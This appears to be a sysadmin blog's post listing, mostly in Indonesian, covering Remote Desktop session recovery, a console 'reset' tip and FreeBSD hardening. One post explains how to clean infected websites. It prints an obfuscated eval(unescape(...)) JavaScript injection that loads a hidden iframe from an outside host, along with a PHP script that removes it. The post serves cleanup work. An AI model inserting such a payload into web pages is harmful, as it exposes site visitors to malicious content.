Hardware Too Old – TS1 problem

TS1 down (see http://blog.twistedshells.com). Heard from the datacenter, that our oldserver hardware had problemsand will be replaced with a newer server. After severalhours, got a new server with FreeBSD 8.2 64bit.
Installation and configuration takes about 2-3 hours, then made a long user datatransfer.Conducted 10 tests last from http://security.freebsd.org/advisories vulnerable, and after making sure the openingis secure SSH access to the user.
How great today …

MySpaceFacebookTwitterPrintFriendlyShare
Posted in IT, SysAdmin | Leave a comment

Solusi Error Remote Server Exceeded

Ketika seorang pengguna melakukan koneksi Remote Desktop ke mesin windows hubungan ini akan tetap aktif sampai pengguna memilih “Log Off” dari Start Menu. Jika pengguna hanya menutup jendela remote desktop ketika mereka selesai, username yang login tadi masih tetap dianggap login (sesi aktif). Di beberapa versi OS windows, koneksi Remote Desktop hanya dibatasi hingga 2 sesi. Dengan demikian jika ada user yang log off secara tidak proper maka user berikutnya tidak akan bisa login melalui remote desktop dan akan mendapat error  The terminal server has exceeded the maximum number of allowed connections. Biasanya solusi yang dilakukan adalah melakukan login ke console (onsite) kemudian menonaktifkan sesi remote desktop yang sudah tidak digunakan lagi. Tetapi jika sistem operasi windows tersebut ada di datacenter atau tempat lain yang memungkinkan tidak bisa onsite, apakah harus pasrah menunggu ada orang yang membantu kita untuk restart windows tersebut?
Untungnya ada solusi yang lebih baik yang bisa dilakukan tanpa perlu onsite. Caranya adalah sebagai berikut:
Di mesin windows lokal (mesin windows yang anda sedang bekerja, atau di pc/notebook anda) klik Start lalu Run. Lalu masukkan perintah berikut:
Jika versi windows yang hendak diremote adalah versi home edition maka perintahnya adalah:
mstsc /v:00.00.00.00 /f -console
Jika versi windows yang hendak diremote adalah versi server (misal windows 2003 server, dll) maka perintahnya adalah:
mstsc /v:00.00.00.00 /f -admin
ganti 00.00.00.00 dengan real IP remote server/windows Anda.
Anda akan terhubung ke remote desktop windows remote anda, silahkan masukkan login dan password administrator. Maka Anda akan berhasil masuk tanpa ada error  The terminal server has exceeded the maximum number of allowed connections. Setelah Anda berhasil login, silahkan ikuti cara berikut untuk menonaktifkan sesi remote desktop yang sudah tidak dipakai tapi dianggap aktif.
Di server windows remote anda, klik Start lalu pilih Administrative Tools lalu klik Terminal Services Manager. Anda akan melihat 3 sesi, sesi paling atas adalah sesi anda melalui trick diatas, JANGAN ANDA NONAKTIFKAN SESI TERSEBUT karena jika anda menonaktifkan koneksi tersebut, maka anda akan perlu onsite untuk secara manual menonaktifkan sesi tersebut dari console. Yang perlu anda nonaktifkan adalah 2 sesi yang sudah tidak digunakan lagi (biasanya urutan paling bawah). Klik kanan sesi yang anda ingin nonaktifkan lalu pilih Reset. Setelah itu anda bisa login remote desktop dari komputer lain lagi.
Ke depan, jangan lupa untuk selalu log off setelah anda selesai bekerja dengan remote desktop anda. Semoga bermanfaat.
MySpaceFacebookTwitterPrintFriendlyShare
Posted in IT, SysAdmin, Tips and Tricks | Leave a comment

[TIP] Mereplace file website yang terinfeksi malware

Mungkin anda pernah mengalami hosting anda atau website client anda diinject oleh code malware yang disembunyikan dengan code tertentu. Salah satu contoh adalah malware berikut:

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C
%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%69%6E
%70%6F%6F%2E%63%6F%6D%2F%3F%33%35%39%31%30%32%30%33%22%20%77%69
%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61
%6D%65%3E%27%29'));

Biasanya code malware tersebut diletakkan di baris paling akhir dari file-file yang bisa diakses secara umum melalui internet seperti html, htm, php, asp maupun ekstensi lainnya.
Jika file yang terinfeksi hanya 1-2 file, maka Anda cukup merubah file tersebut satu-satu dan dengan mudah menghapus baris code malware tersebut. Masalahnya jika yang terinfeksi adalah ribuan website di server anda bagaimana merubahnya secara instan dan aman ?

Disini saya mau memberikan tip bagaimana mereplace file-file website Anda yang terinfeksi oleh malware tersebut di server hosting anda atau di account anda sendiri. Berikut langkah-langkahnya:
1. Anda perlu memiliki akses ssh ke server hosting anda, atau meminta admin server hosting anda mengeksekusi script fix.php (code lihat dibawah)
2. Asumsi username anda di hosting anda adalah: badu dengan home direktori adalah /home/badu serta direktori public_html anda adalah /home/badu/public_html
3. Simpan file fix.php di /home/badu atau 1 level sebelum public_html
4. code fix.php

function recurse_dir($dir) {
if ($dh = @opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if (@is_file("$dir/$file")) {
if (strstr($file, '.htm')) {
echo "checking $dir/$file\n";
if ($h = @fopen("$dir/$file", 'r+')) {
$d = fread($h, filesize("$dir/$file"));
$d = str_replace("eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3
C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%69%6E%70%6F%6F
%2E%63%6F%6D%2F%3F%33%35%39%31%30%32%30%33%22%20%77%69%64%74%68%3D%31%20
%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));
", '', $d);
rewind($h);
ftruncate($h, 0);
fwrite($h, $d);
fclose($h);
}
}
}
elseif (($file != '.') && ($file != '..') && (@is_dir("$dir/$file"))) {
recurse_dir("$dir/$file");
}
}
}
}

recurse_dir(‘public_html’);

5. Eksekusi fix.php dengan perintah: /usr/local/bin/php fix.php (cpanel) atau jika binary php anda ada di lokasi lain, misalnya: /usr/bin/php fix.php
6. Check kembali file-file di public_html atau direktori website anda, apakah masih ada file yang terinfeksi (menggunakan find atau grep)
7. Perhatikan baris code fix.php
if (strstr($file, '.htm')) {
artinya script fix.php hanya akan melakukan perbaikan untuk file berekstensi .htm, jika website anda berekstensi html atau php silahkan diganti menjadi:
if (strstr($file, '.html')) {
atau
if (strstr($file, '.php')) {

Catatan:
- script tersebut adalah turunan dari script mas Daniel (thanks mas :D )
- Silahkan download fix.php lalu rename fix_php.txt menjadi fix.php
Jika ada rekan sekalian yang bisa mengembangkan script tersebut untuk code malware lain atau metoda lain, sangat saya hargai.

Terima kasih

Semoga bermanfaat

MySpaceFacebookTwitterPrintFriendlyShare
Posted in Umum | Leave a comment

[Tips] Pentingnya perintah reset

Pernahkah anda mengalami hal seperti ini: saat kerja di console linux atau freebsd/unix lainnya, tanpa sengaja anda mengetik cat namafile; yang ternyata namafile itu adalah file binary. Ternyata apa yang terjadi? karakter aneh akan muncul di console anda. Saat anda mengetik perintah baru, maka yang keluar adalah karakter aneh yang tidak bisa dibaca. Telapak tangan Anda mulai berkeringat terutama jika Anda melakukan ini pada mesin produksi. Tapi anda tidak perlu kuatir, cukup dengan mengetik reset (ya anda tidak salah, anda cukup hanya mengetik reset bukan menekan tombol reset) maka layar console anda akan kembali normal.
Sekali lagi, tools kecil menyelamatkan anda.

MySpaceFacebookTwitterPrintFriendlyShare
Posted in IT, Tips and Tricks | Leave a comment

Securing FreeBSD Filesystem

Ini adalah script yang biasanya saya eksekusi di sistem FreeBSD saya setelah instalasi. Script ini bisa Anda copy dan paste di system anda yang menggunakan sistem operasi FreeBSD khususnya yang bertujuan untuk shell hosting. Kenapa anda perlu mengamankan filesystem di FreeBSD? Jawabannya adalah, jika anda lihat kejadian 1 tahun terakhir kebanyakan payload dari exploit yang ditemukan di FreeBSD adalah menggunakan filesystem bersuid root. Untuk itu, kita perlu meminimalkan filesystem yang bersuid root. Berikut scriptnya:
Continue reading

MySpaceFacebookTwitterPrintFriendlyShare
Posted in IT, Security, SysAdmin, Tips and Tricks | Leave a comment